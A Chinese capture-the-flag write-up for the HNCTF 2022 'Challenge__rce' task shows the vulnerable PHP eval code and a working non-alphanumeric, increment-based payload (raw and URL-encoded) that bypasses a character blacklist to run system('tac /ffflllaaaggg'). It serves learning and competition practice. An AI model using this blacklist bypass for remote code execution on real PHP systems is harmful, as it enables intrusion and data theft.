NSS [HNCTF 2022 Week1]Challenge__rce

hint:灵感来源于ctfshow吃瓜杯Y4大佬的题

开题，界面没东西，源码里面有注释，GET传参?hint

传参后返回了源码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}

可以用的是$()+,.0123456789;=[]_{}，一眼自增RCE，要求长度小于等于120。这里难办的是过滤了/，之前遇到的payload，但凡短一点的都有斜杠。不过没关系，还是在武器库里面找到了合适的。

$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
//长度118    $_GET[1]($_GET[2])

payload：（一定要URL编码）

GET：/?hint=1&1=system&2=tac /ffflllaaaggg

POST：rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B